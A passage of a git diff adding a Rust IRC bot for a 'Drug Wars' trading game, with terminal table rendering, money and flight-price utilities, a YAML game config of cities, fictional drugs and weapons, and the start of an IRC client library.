+                itertools::EitherOrBoth::Left(market) => {
+                    // Market column
+                    let mut market_column = String::new();
+
+                    let value = truncate_string(market.0, market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value =
+                        truncate_string(&format!("{}", market.1.supply), market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value =
+                        truncate_string(&format!("{}", market.1.demand), market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(
+                        &format!("{}", pretty_print_money(market.1.price)),
+                        market_column_width,
+                    );
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let offset = (market_width - market_column.chars().count()).min(3);
+                    market_column +=
+                        &" ".repeat(market_width - market_column.chars().count() - offset);
+
+                    lines.push(format!(
+                        "│ {}│ {}│",
+                        market_column,
+                        " ".repeat(owned_width - 2)
+                    ));
+                }
+                itertools::EitherOrBoth::Right(owned) => {
+                    // Owned column
+                    let mut owned_column = String::new();
+
+                    let value = truncate_string(owned.0, owned_column_width);
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(
+                        &format!("{}", pretty_print_money(owned.1.bought_at)),
+                        owned_column_width,
+                    );
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    lines.push(format!(
+                        "│ {}│ {}│",
+                        " ".repeat(market_width - 3),
+                        owned_column
+                    ));
+                }
+            }
+        }
+
+        lines.push(format!(
+            "╰{}┴{}╯",
+            "─".repeat(market_width - 2),
+            "─".repeat(owned_width - 1)
+        ));
+
+        lines
+    }
+
+    pub fn render_items_dual_columns(&self, dealer: &Dealer) -> Vec<String> {
+        let mut lines = vec![];
+
+        let market_width = dealer.max_width / 2;
+        let owned_width = dealer.max_width / 2;
+
+        let market_column_width = ((market_width - 2) as f32 / 4.).floor() as usize;
+        let owned_column_width = ((owned_width - 2) as f32 / 3.).floor() as usize;
+
+        lines.push(format!(
+            "╭ Items market {}┬ Owned items {}╮",
+            "─".repeat(market_width - 16),
+            "─".repeat(owned_width - 14)
+        ));
+
+        // Market column headers
+        let mut market_header = String::new();
+        for col_name in ["Item", "Supply", "Demand", "Price"] {
+            let spaces = " ".repeat(market_column_width - col_name.chars().count());
+            market_header += &format!("{}{}", col_name, spaces);
+        }
+
+        let offset = (market_width - market_header.chars().count()).min(3);
+        market_header += &" ".repeat(market_width - market_header.chars().count() - offset);
+
+        // Owned column headers
+        let mut owned_header = String::new();
+        for col_name in ["Item", "Amount", "Bought at"] {
+            let spaces = " ".repeat(owned_column_width - col_name.chars().count());
+            owned_header += &format!("{}{}", col_name, spaces);
+        }
+
+        let offset = (owned_width - owned_header.chars().count()).min(2);
+        owned_header += &" ".repeat(owned_width - owned_header.chars().count() - offset);
+
+        lines.push(format!("│ {}│ {}│", market_header, owned_header));
+
+        let location = self.locations.get(&dealer.location).unwrap();
+
+        let owned_local = dealer.get_local_items();
+
+        for pair in location.item_market.iter().zip_longest(owned_local.iter()) {
+            match pair {
+                itertools::EitherOrBoth::Both(market, owned) => {
+                    // Market column
+                    let mut market_column = String::new();
+
+                    let value = truncate_string(market.0, market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value =
+                        truncate_string(&format!("{}", market.1.supply), market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value =
+                        truncate_string(&format!("{}", market.1.demand), market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(
+                        &format!("{}", pretty_print_money(market.1.price)),
+                        market_column_width,
+                    );
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let offset = (market_width - market_column.chars().count()).min(3);
+                    market_column +=
+                        &" ".repeat(market_width - market_column.chars().count() - offset);
+
+                    // Owned column
+                    let mut owned_column = String::new();
+
+                    let value = truncate_string(owned.0, owned_column_width);
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(
+                        &format!("{}", pretty_print_money(owned.1.bought_at)),
+                        owned_column_width,
+                    );
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let offset = (owned_width - owned_column.chars().count()).min(2);
+                    owned_column +=
+                        &" ".repeat(owned_width - owned_column.chars().count() - offset);
+
+                    lines.push(format!("│ {}│ {}│", market_column, owned_column));
+                }
+                itertools::EitherOrBoth::Left(market) => {
+                    // Market column
+                    let mut market_column = String::new();
+
+                    let value = truncate_string(market.0, market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value =
+                        truncate_string(&format!("{}", market.1.supply), market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value =
+                        truncate_string(&format!("{}", market.1.demand), market_column_width);
+                    let spaces = " ".repeat(market_column_width - value.chars().count());
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(
+                        &format!("{}", pretty_print_money(market.1.price)),
+                        market_column_width,
+                    );
+                    let spaces = " ".repeat(market_column_width - value.chars().count() - 1);
+                    market_column += &format!("{}{}", value, spaces);
+
+                    let offset = (market_width - market_column.chars().count()).min(3);
+                    market_column +=
+                        &" ".repeat(market_width - market_column.chars().count() - offset);
+
+                    lines.push(format!(
+                        "│ {}│ {}│",
+                        market_column,
+                        " ".repeat(owned_width - 2)
+                    ));
+                }
+                itertools::EitherOrBoth::Right(owned) => {
+                    // Owned column
+                    let mut owned_column = String::new();
+
+                    let value = truncate_string(owned.0, owned_column_width);
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(&format!("{}", owned.1.amount), owned_column_width);
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let value = truncate_string(
+                        &format!("{}", pretty_print_money(owned.1.bought_at)),
+                        owned_column_width,
+                    );
+                    let spaces = " ".repeat(owned_column_width - value.chars().count());
+                    owned_column += &format!("{}{}", value, spaces);
+
+                    let offset = (owned_width - owned_column.chars().count()).min(2);
+                    owned_column +=
+                        &" ".repeat(owned_width - owned_column.chars().count() - offset);
+
+                    lines.push(format!(
+                        "│ {}│ {}│",
+                        " ".repeat(market_width - 3),
+                        owned_column
+                    ));
+                }
+            }
+        }
+
+        lines.push(format!(
+            "╰{}┴{}╯",
+            "─".repeat(market_width - 2),
+            "─".repeat(owned_width - 1)
+        ));
+
+        lines
+    }
+
+    pub fn render_people(&self, dealer: &Dealer) -> Vec<String> {
+        let mut lines = vec![];
+
+        lines.push(format!(
+            "╭ Blokes in town {}╮",
+            "─".repeat(dealer.max_width - 18)
+        ));
+
+        let location = self.locations.get(&dealer.location).unwrap();
+
+        let mut blokes = location.blokes.iter().collect::<Vec<_>>();
+
+        let mut line = String::new();
+
+        while blokes.len() > 0 {
+            let to_append = format!("{}, ", blokes[blokes.len() - 1]);
+
+            if line.chars().count() + to_append.chars().count() > dealer.max_width - 2 {
+                line.truncate(line.len() - 2);
+
+                let start = format!("│ {}", line);
+                let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
+                lines.push(format!("{}{} │", start, spaces));
+
+                line = String::new();
+            }
+
+            line += &to_append;
+            blokes.pop();
+        }
+
+        if line.chars().count() > 0 {
+            line.truncate(line.len() - 2);
+            let start = format!("│ {}", line);
+            let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
+            lines.push(format!("{}{} │", start, spaces));
+        }
+
+        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
+        lines
+    }
+
+    pub fn render_command_list(&self, dealer: &Dealer) -> Vec<String> {
+        let mut lines = vec![];
+
+        lines.push(format!(
+            "╭ Command list {}╮",
+            "─".repeat(dealer.max_width - 16)
+        ));
+
+        let mut help_commands = vec![
+            "s <drug> <amount> <location>: ship drug to location",
+            "fp: flight prices",
+            "f <location>: fly to location",
+            "gm <bloke> <amount>: give money to some bloke",
+            "gd <bloke> <drug> <amount>: give drugs to some bloke",
+            "gi <bloke> <item> <amount>: give items to some bloke",
+            "si <item> <amount>: sell item",
+            "bi <item> <amount>: buy item",
+            "sd <drug> <amount>: sell drug",
+            "bd <drug> <amount>: buy drug",
+            "bc <amount>: buy capacity",
+            "mw <size>: set max width",
+            "p: print info",
+        ];
+
+        let mut line = String::new();
+
+        while help_commands.len() > 0 {
+            let to_append = format!("{}, ", help_commands[help_commands.len() - 1]);
+
+            if line.chars().count() + to_append.chars().count() > dealer.max_width - 2 {
+                line.truncate(line.len() - 2);
+
+                let start = format!("│ {}", line);
+                let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
+                lines.push(format!("{}{} │", start, spaces));
+
+                line = String::new();
+            }
+
+            line += &to_append;
+            help_commands.pop();
+        }
+
+        if line.chars().count() > 0 {
+            line.truncate(line.len() - 2);
+            let start = format!("│ {}", line);
+            let spaces = " ".repeat(dealer.max_width - start.chars().count() - 2);
+            lines.push(format!("{}{} │", start, spaces));
+        }
+
+        lines.push(format!("╰{}╯", "─".repeat(dealer.max_width - 2)));
+        lines
+    }
+}
diff --git a/irc/bots/drugwars/drugwars/src/utils.rs b/irc/bots/drugwars/drugwars/src/utils.rs
@@ -0,0 +1,66 @@
+use std::{f32::consts::PI, str};
+
+use crate::definitions::Location;
+
+pub fn truncate_string(original: &str, max: usize) -> String {
+    assert!(max > 3);
+
+    if original.chars().count() <= max {
+        return original.to_owned();
+    }
+
+    format!("{}...", &original[..(max - 3)])
+}
+
+pub fn pretty_print_money(money: u128) -> String {
+    let unit_money = money / 10000;
+    let float_money = money as f32 / 10000.;
+    let dec = (float_money.fract() * 100.).floor() as u32;
+
+    let pretty_money = unit_money
+        .to_string()
+        .as_bytes()
+        .rchunks(3)
+        .rev()
+        .map(str::from_utf8)
+        .collect::<Result<Vec<&str>, _>>()
+        .unwrap()
+        .join(",");
+
+    format!("${}.{:0>2}", pretty_money, dec)
+}
+
+pub fn get_flight_price(origin: &Location, other: &Location) -> u128 {
+    let cur_lat = origin.lat * (PI / 180.);
+    let cur_long = origin.long * (PI / 180.);
+
+    let other_lat = other.lat * (PI / 180.);
+    let other_long = other.long * (PI / 180.);
+
+    let float_price = (cur_lat.sin() * other_lat.sin()
+        + cur_lat.cos() * other_lat.cos() * (other_long - cur_long).cos())
+    .acos()
+        * 10000.;
+
+    (float_price * 10000.) as u128
+}
+
+pub fn capacity_price(current_capacity: usize, to_add: usize) -> Option<u128> {
+    let mut price: u128 = 1000 * 10000;
+
+    for _ in 0..current_capacity {
+        price += price / 1000000;
+    }
+
+    let mut accumulated_price: u128 = 0;
+
+    for _ in current_capacity..(current_capacity + to_add) {
+        price += price / 1000000;
+        accumulated_price = match accumulated_price.checked_add(price) {
+            Some(v) => v,
+            None => return None,
+        }
+    }
+
+    Some(accumulated_price)
+}
diff --git a/irc/bots/drugwars/drugwars_config.yaml b/irc/bots/drugwars/drugwars_config.yaml
@@ -0,0 +1,205 @@
+settings:
+  day_duration: 300 # 5 mins
+  start_day: 1993-04-20
+locations:
+  - name: Beijing, China
+    position:
+      lat: 39.9042
+      long: 116.4074
+  - name: Boston, USA
+    position:
+      lat: 42.3601
+      long: -71.0589
+  - name: Detroit, USA
+    position:
+      lat: 42.3314
+      long: -83.0458
+  - name: London, England
+    position:
+      lat: 51.5072
+      long: -0.1276
+  - name: Los Angeles, USA
+    position:
+      lat: 34.0522
+      long: -118.2437
+  - name: Miami, USA
+    position:
+      lat: 25.7617
+      long: -80.1918
+  - name: Moscow, Russia
+    position:
+      lat: 55.7558
+      long: 37.6173
+  - name: New York, USA
+    position:
+      lat: 40.7128
+      long: -74.0060
+  - name: Paris, France
+    position:
+      lat: 48.8566
+      long: 2.3522
+  - name: San Francisco, USA
+    position:
+      lat: 37.7749
+      long: -122.4194
+  - name: St Petersburg, Russia
+    position:
+      lat: 59.9343
+      long: -30.3351
+  - name: Sydney, Australia
+    position:
+      lat: -33.8688
+      long: 151.2093
+  - name: Toronto, Canada
+    position:
+      lat: 43.6532
+      long: -79.3832
+  - name: Vancouver, Canada
+    position:
+      lat: 49.2827
+      long: -123.1207
+  - name: Bogota, Colombia
+    position:
+      lat: 4.7110
+      long: -74.0721
+  - name: Johannesburg, South Africa
+    position:
+      lat: -26.2041
+      long: 28.0473
+
+drugs:
+  - name: Cocaine
+    price: 6500
+  - name: Crack
+    price: 8000
+  - name: Ecstasy
+    price: 3500
+  - name: Estradiol
+    price: 1000
+  - name: Fentanyl
+    price: 1300
+  - name: Hashish
+    price: 600
+  - name: Heroin
+    price: 4000
+  - name: Ice
+    price: 850
+  - name: Kat
+    price: 650
+  - name: Krokodil
+    price: 12
+  - name: LSD
+    price: 2200
+  - name: MDA
+    price: 3300
+  - name: Morphine
+    price: 6200
+  - name: Mushrooms
+    price: 550
+  - name: Opium
+    price: 400
+  - name: PCP
+    price: 1200
+  - name: Peyote
+    price: 800
+  - name: Loud
+    price: 420
+  - name: Special K
+    price: 2700
+  - name: Speed
+    price: 3900
+
+items:
+
+  weapons:
+    - name: Knife
+      price: 100
+      damage: 5
+    - name: Pistol
+      price: 500
+      damage: 10
+      ammo: Pistol round
+    - name: Shotgun
+      price: 2500
+      damage: 15
+      ammo: Shotgun shell
+    - name: Machine gun
+      price: 4000
+      damage: 20
+      ammo: Maching gun round
+    - name: Flamethrower
+      price: 7500
+      damage: 25
+      ammo: Gas canister
+    - name: Rocket launcher
+      price: 10000
+      damage: 30
+      ammo: Rocket
+    - name: Area disrupter
+      price: 500000
+      damage: 80
+      ammo: Energy globe
+
+  ammos:
+    - name: Pistol round
+      price: 5
+    - name: Shotgun shell
+      price: 8
+    - name: Machine gun round
+      price: 10
+    - name: Gas canister
+      price: 200
+    - name: Rocket
+      price: 500
+    - name: Energy globe
+      price: 25000
+
+  armors:
+    - name: Leather coat
+      price: 1000
+      block: 20
+    - name: Bulletproof vest
+      price: 10000
+      block: 40
+
+  no_scents:
+    - name: Can of no-scent
+      price: 1000
+      capacity: 10
+
+
+messages:
+  rumor_up_here:
+    - You hear a rumor that %DRUG will be abundant tomorrow.
+  rumor_down_here:
+    - You hear a rumor that %DRUG will be scarce tomorrow.
+  rumor_up_at:
+    - You hear a rumor that %DRUG will be abundant in %LOCATION tomorrow.
+  rumor_down_at:
+    - You hear a rumor that %DRUG will be scarce in %LOCATION tomorrow.
+  welcome:
+    - Welcome to %LOCATION!
+  price_up:
+    - A boatload of %DRUG arrives.
+    - A police warehouse is broken into and %DRUG is stolen.
+    - A new source of %DRUG is found.
+    - Crates of %DRUG were discovered floating in the ocean.
+  price_up_end:
+    - Prices are astronomical!
+    - Prices are insanely high!
+    - Prices are outrageous!
+    - Prices go through the roof!
+    - Prices are higher than the people who use your goods!
+  price_down:
+    - Gang warfare is keeping %DRUG off the streets.
+    - Racoons broke into a crate of %DRUG, eating some and dying on the rest.
+    - Cops burst into a %DRUG warehouse, seizing everything.
+    - The smuggler of some %DRUG was killed by a rival dealer.
+    - The pilot of a %DRUG shipment fell asleep and crashed.
+  price_down_end:
+    - Prices are lower than the Marianas Trench!
+    - Prices nose dive!
+    - Prices plummet!
+    - Prices drop like lead balloons!
+    - Prices are rock bottom!
+  
+\ No newline at end of file
diff --git a/irc/bots/drugwars/irc/Cargo.toml b/irc/bots/drugwars/irc/Cargo.toml
@@ -0,0 +1,11 @@
+[package]
+name = "irc"
+version = "0.1.0"
+author = "wrk"
+edition = "2021"
+
+[dependencies]
+serde = { version = "1.0.163", features = ["derive"] }
+serde_yaml = "0.9.21"
+typemap_rev = "0.3.0"
+native-tls = "0.2.11"
diff --git a/irc/bots/drugwars/irc/src/builder.rs b/irc/bots/drugwars/irc/src/builder.rs
@@ -0,0 +1,145 @@
+use std::collections::{HashMap, VecDeque};
+
+use typemap_rev::{TypeMap, TypeMapKey};
+
+use crate::{config::IrcConfig, Channel, Irc, System};
+
+#[derive(Default)]
+pub struct IrcBuilder {
+    host: Option<String>,
+    port: Option<u16>,
+    ssl: Option<bool>,
+
+    channels: Vec<Channel>,
+
+    nick: Option<String>,
+    user: Option<String>,
+    real: Option<String>,
+
+    cmdkey: Option<String>,
+
+    data: TypeMap,
+    default_system: Option<System>,
+    systems: HashMap<String, System>,
+}
+
+impl From<IrcConfig> for IrcBuilder {
+    fn from(config: IrcConfig) -> Self {
+        Self {
+            host: Some(config.host),
+            port: Some(config.port),
+            ssl: Some(config.ssl),
+
+            channels: config.channels.into_iter().map(Channel::from).collect(),
+
+            nick: Some(config.nick),
+            user: Some(config.user),
+            real: Some(config.real),
+
+            cmdkey: Some(config.cmdkey),
+
+            data: TypeMap::default(),
+            default_system: None,
+
+            systems: HashMap::default(),
+        }
+    }
+}
+
+impl IrcBuilder {
+    pub fn new() -> Self {
+        Self::default()
+    }
+
+    pub fn host(&mut self, host: &str) -> &mut Self {
+        self.host = Some(host.to_owned());
+        self
+    }
+
+    pub fn port(&mut self, port: u16) -> &mut Self {
+        self.port = Some(port);
+        self
+    }
+
+    pub fn ssl(&mut self, ssl: bool) -> &mut Self {
+        self.ssl = Some(ssl);
+        self
+    }
+
+    pub fn channel(&mut self, channel: &str, key: Option<&str>) -> &mut Self {
+        self.channels.push(Channel {
+            name: channel.to_owned(),
+            key: if key.is_some() {
+                Some(key.unwrap().to_owned())
+            } else {
+                None
+            },
+        });
+        self
+    }
+
+    pub fn nick(&mut self, nick: &str) -> &mut Self {
+        self.nick = Some(nick.to_owned());
+        self
+    }
+
+    pub fn user(&mut self, user: &str) -> &mut Self {
+        self.user = Some(user.to_owned());
+        self
+    }
+
+    pub fn real(&mut self, real: &str) -> &mut Self {
+        self.real = Some(real.to_owned());
+        self
+    }
+
+    pub fn cmdkey(&mut self, cmdkey: &str) -> &mut Self {
+        self.cmdkey = Some(cmdkey.to_owned());
+        self
+    }
+
+    pub fn add_resource<V: Send + Sync + 'static, T: TypeMapKey + TypeMapKey<Value = V>>(
+        &mut self,
+        resource: V,
+    ) -> &mut Self {
+        self.data.insert::<T>(resource);
+        self
+    }
+
+    pub fn add_default_system(&mut self, func: System) -> &mut Self {
+        self.default_system = Some(func);
+        self
+    }
+
+    pub fn add_system(&mut self, system_name: &str, func: System) -> &mut Self {
+        self.systems.insert(system_name.to_owned(), func);
+        self
+    }
+
+    pub fn build(&mut self) -> Irc {
+        Irc {
+            stream: None,
+            host: self.host.as_ref().unwrap().clone(),
+            port: self.port.unwrap_or_default(),
+            ssl: self.ssl.unwrap_or_default(),
+
+            channels: std::mem::take(&mut self.channels),
+
+            nick: self.nick.as_ref().unwrap().clone(),
+            user: self.user.as_ref().unwrap().clone(),
+            real: self.real.as_ref().unwrap().clone(),
+
+            cmdkey: self.cmdkey.as_ref().unwrap().clone(),
+
+            data: std::mem::take(&mut self.data),
+
+            default_system: self.default_system,
+            systems: std::mem::take(&mut self.systems),
+
+            send_queue: VecDeque::new(),
+            recv_queue: VecDeque::new(),
+
+            partial_line: String::new(),
+        }
+    }
+}
diff --git a/irc/bots/drugwars/irc/src/config.rs b/irc/bots/drugwars/irc/src/config.rs
@@ -0,0 +1,35 @@
+use std::{fs::File, io::Read};
+
+use serde::Deserialize;
+
+#[derive(Deserialize)]
+pub(crate) struct ChannelConfig {
+    pub(crate) name: String,
+    pub(crate) key: Option<String>,
+}
+
+#[derive(Deserialize)]
+pub(crate) struct IrcConfig {
+    pub(crate) host: String,
+    pub(crate) port: u16,
+    pub(crate) ssl: bool,
+
+    pub(crate) channels: Vec<ChannelConfig>,
+
+    pub(crate) nick: String,
+    pub(crate) user: String,
+    pub(crate) real: String,
+
+    pub(crate) cmdkey: String
+}
+
+impl IrcConfig {
+    pub fn from_file(path: &str) -> std::io::Result<Self> {
+        let mut file = File::open(path)?;
+        let mut contents = String::new();
+        file.read_to_string(&mut contents)?;
+
+        let config: IrcConfig = serde_yaml::from_str(&contents).unwrap();
+        Ok(config)
+    }
+}
diff --git a/irc/bots/drugwars/irc/src/irc_command.rs b/irc/bots/drugwars/irc/src/irc_command.rs
@@ -0,0 +1,242 @@
+macro_rules! make_irc_command_enum {
+
+    ($variant:ident) => {
+        $variant
+    };
+
+    ($($variant:ident: $value:expr),+) => {
+        #[allow(non_camel_case_types)]
+        pub enum IrcCommand {
+            UNKNOWN,
+            $($variant),+
+        }
+
+        impl From<&str> for IrcCommand {
+            fn from(command_str: &str) -> Self {
+                match command_str {
+                    $($value => Self::$variant,)+
+                    _ => Self::UNKNOWN,
+                }
+            }
+        }
+
+    };
+}
+
+make_irc_command_enum!(
+    ADMIN: "ADMIN",
+    AWAY: "AWAY",
+    CNOTICE: "CNOTICE",
+    CPRIVMSG: "CPRIVMSG",
+    CONNECT: "CONNECT",
+    DIE: "DIE",
+    ENCAP: "ENCAP",
+    ERROR: "ERROR",
+    HELP: "HELP",
+    INFO: "INFO",
+    INVITE: "INVITE",
+    ISON: "ISON",
+    JOIN: "JOIN",
+    KICK: "KICK",
+    KILL: "KILL",
+    KNOCK: "KNOCK",
+    LINKS: "LINKS",
+    LIST: "LIST",
+    LUSERS: "LUSERS",
+    MODE: "MODE",
+    MOTD: "MOTD",
+    NAMES: "NAMES",
+    NICK: "NICK",
+    NOTICE: "NOTICE",
+    OPER: "OPER",
+    PART: "PART",
+    PASS: "PASS",
+    PING: "PING",
+    PONG: "PONG",
+    PRIVMSG: "PRIVMSG",
+    QUIT: "QUIT",
+    REHASH: "REHASH",
+    RULES: "RULES",
+    SERVER: "SERVER",
+    SERVICE: "SERVICE",
+    SERVLIST: "SERVLIST",
+    SQUERY: "SQUERY",
+    SQUIT: "SQUIT",
+    SETNAME: "SETNAME",
+    SILENCE: "SILENCE",
+    STATS: "STATS",
+    SUMMON: "SUMMON",
+    TIME: "TIME",
+    TOPIC: "TOPIC",
+    TRACE: "TRACE",
+    USER: "USER",
+    USERHOST: "USERHOST",
+    USERIP: "USERIP",
+    USERS: "USERS",
+    VERSION: "VERSION",
+    WALLOPS: "WALLOPS",
+    WATCH: "WATCH",
+    WHO: "WHO",
+    WHOIS: "WHOIS",
+    WHOWAS: "WHOWAS",
+    RPL_WELCOME: "001",
+    RPL_YOURHOST: "002",
+    RPL_CREATED: "003",
+    RPL_MYINFO: "004",
+    RPL_BOUNCE: "005",
+    RPL_TRACELINK: "200",
+    RPL_TRACECONNECTING: "201",
+    RPL_TRACEHANDSHAKE: "202",
+    RPL_TRACEUNKNOWN: "203",
+    RPL_TRACEOPERATOR: "204",
+    RPL_TRACEUSER: "205",
+    RPL_TRACESERVER: "206",
+    RPL_TRACESERVICE: "207",
+    RPL_TRACENEWTYPE: "208",
+    RPL_TRACECLASS: "209",
+    RPL_TRACERECONNECT: "210",
+    RPL_STATSLINKINFO: "211",
+    RPL_STATSCOMMANDS: "212",
+    RPL_STATSCLINE: "213",
+    RPL_STATSNLINE: "214",
+    RPL_STATSILINE: "215",
+    RPL_STATSKLINE: "216",
+    RPL_STATSQLINE: "217",
+    RPL_STATSYLINE: "218",
+    RPL_ENDOFSTATS: "219",
+    RPL_UMODEIS: "221",
+    RPL_SERVICEINFO: "231",
+    RPL_ENDOFSERVICES: "232",
+    RPL_SERVICE: "233",
+    RPL_SERVLIST: "234",
+    RPL_SERVLISTEND: "235",
+    RPL_STATSVLINE: "240",
+    RPL_STATSLLINE: "241",
+    RPL_STATSUPTIME: "242",
+    RPL_STATSOLINE: "243",
+    RPL_STATSHLINE: "244",
+    RPL_STATSPING: "246",
+    RPL_STATSBLINE: "247",
+    RPL_STATSDLINE: "250",
+    RPL_LUSERCLIENT: "251",
+    RPL_LUSEROP: "252",
+    RPL_LUSERUNKNOWN: "253",
+    RPL_LUSERCHANNELS: "254",
+    RPL_LUSERME: "255",
+    RPL_ADMINME: "256",
+    RPL_ADMINLOC1: "257",
+    RPL_ADMINLOC2: "258",
+    RPL_ADMINEMAIL: "259",
+    RPL_TRACELOG: "261",
+    RPL_TRACEEND: "262",
+    RPL_TRYAGAIN: "263",
+    RPL_NONE: "300",
+    RPL_AWAY: "301",
+    RPL_USERHOST: "302",
+    RPL_ISON: "303",
+    RPL_UNAWAY: "305",
+    RPL_NOWAWAY: "306",
+    RPL_WHOISUSER: "311",
+    RPL_WHOISSERVER: "312",
+    RPL_WHOISOPERATOR: "313",
+    RPL_WHOWASUSER: "314",
+    RPL_ENDOFWHO: "315",
+    RPL_WHOISCHANOP: "316",
+    RPL_WHOISIDLE: "317",
+    RPL_ENDOFWHOIS: "318",
+    RPL_WHOISCHANNELS: "319",
+    RPL_LISTSTART: "321",
+    RPL_LIST: "322",
+    RPL_LISTEND: "323",
+    RPL_CHANNELMODEIS: "324",
+    RPL_UNIQOPIS: "325",
+    RPL_NOTOPIC: "331",
+    RPL_TOPIC: "332",
+    RPL_INVITING: "341",
+    RPL_SUMMONING: "342",
+    RPL_INVITELIST: "346",
+    RPL_ENDOFINVITELIST: "347",
+    RPL_EXCEPTLIST: "348",
+    RPL_ENDOFEXCEPTLIST: "349",
+    RPL_VERSION: "351",
+    RPL_WHOREPLY: "352",
+    RPL_NAMREPLY: "353",
+    RPL_KILLDONE: "361",
+    RPL_CLOSING: "362",
+    RPL_CLOSEEND: "363",
+    RPL_LINKS: "364",
+    RPL_ENDOFLINKS: "365",
+    RPL_ENDOFNAMES: "366",
+    RPL_BANLIST: "367",
+    RPL_ENDOFBANLIST: "368",
+    RPL_ENDOFWHOWAS: "369",
+    RPL_INFO: "371",
+    RPL_MOTD: "372",
+    RPL_INFOSTART: "373",
+    RPL_ENDOFINFO: "374",
+    RPL_MOTDSTART: "375",
+    RPL_ENDOFMOTD: "376",
+    RPL_YOUREOPER: "381",
+    RPL_REHASHING: "382",
+    RPL_YOURESERVICE: "383",
+    RPL_MYPORTIS: "384",
+    RPL_TIME: "391",
+    RPL_USERSSTART: "392",
+    RPL_USERS: "393",
+    RPL_ENDOFUSERS: "394",
+    RPL_NOUSERS: "395",
+    ERR_NOSUCHNICK: "401",
+    ERR_NOSUCHSERVER: "402",
+    ERR_NOSUCHCHANNEL: "403",
+    ERR_CANNOTSENDTOCHAN: "404",
+    ERR_TOOMANYCHANNELS: "405",
+    ERR_WASNOSUCHNICK: "406",
+    ERR_TOOMANYTARGETS: "407",
+    ERR_NOSUCHSERVICE: "408",
+    ERR_NOORIGIN: "409",
+    ERR_NORECIPIENT: "411",
+    ERR_NOTEXTTOSEND: "412",
+    ERR_NOTOPLEVEL: "413",
+    ERR_WILDTOPLEVEL: "414",
+    ERR_BADMASK: "415",
+    ERR_UNKNOWNCOMMAND: "421",
+    ERR_NOMOTD: "422",
+    ERR_NOADMININFO: "423",
+    ERR_FILEERROR: "424",
+    ERR_NONICKNAMEGIVEN: "431",
+    ERR_ERRONEUSNICKNAME: "432",
+    ERR_NICKNAMEINUSE: "433",
+    ERR_NICKCOLLISION: "436",
+    ERR_UNAVAILRESOURCE: "437",
+    ERR_USERNOTINCHANNEL: "441",
+    ERR_NOTONCHANNEL: "442",
+    ERR_USERONCHANNEL: "443",
+    ERR_NOLOGIN: "444",
+    ERR_SUMMONDISABLED: "445",
+    ERR_USERSDISABLED: "446",
+    ERR_NOTREGISTERED: "451",
+    ERR_NEEDMOREPARAMS: "461",
+    ERR_ALREADYREGISTERED: "462",
+    ERR_NOPERMFORHOST: "463",
+    ERR_PASSWDMISMATCH: "464",
+    ERR_YOUREBANNEDCREEP: "465",
+    ERR_YOUWILLBEBANNED: "466",
+    ERR_KEYSET: "467",
+    ERR_CHANNELISFULL: "471",
+    ERR_UNKNOWNMODE: "472",
+    ERR_INVITEONLYCHAN: "473",
+    ERR_BANNEDFROMCHAN: "474",
+    ERR_BADCHANNELKEY: "475",
+    ERR_BADCHANMASK: "476",
+    ERR_NOCHANMODES: "477",
+    ERR_BANLISTFULL: "478",
+    ERR_NOPRIVILEGES: "481",
+    ERR_CHANOPRIVSNEEDED: "482",
+    ERR_CANTKILLSERVER: "483",
+    ERR_RESTRICTED: "484",
+    ERR_UNIQOPRIVSNEEDED: "485",
+    ERR_NOOPERHOST: "491",
+    ERR_NOSERVICEHOST: "492",
+    ERR_UMODEUNKNOWNFLAG: "501",
+    ERR_USERSDONTMATCH: "502"
+);
diff --git a/irc/bots/drugwars/irc/src/lib.rs b/irc/bots/drugwars/irc/src/lib.rs
@@ -0,0 +1,477 @@
+extern crate typemap_rev;
+
+use std::{
+    collections::{HashMap, VecDeque},
+    error::Error,
+    io::{ErrorKind, Read, Write},
+    net::{TcpStream, ToSocketAddrs},
+    time::Duration,
+};
+
+use builder::IrcBuilder;
+use config::{ChannelConfig, IrcConfig};
+use irc_command::IrcCommand;
+use native_tls::{TlsConnector, TlsStream};
+use typemap_rev::TypeMap;
+
+pub mod builder;
+pub mod config;
+pub mod irc_command;
+
+pub mod typemap {
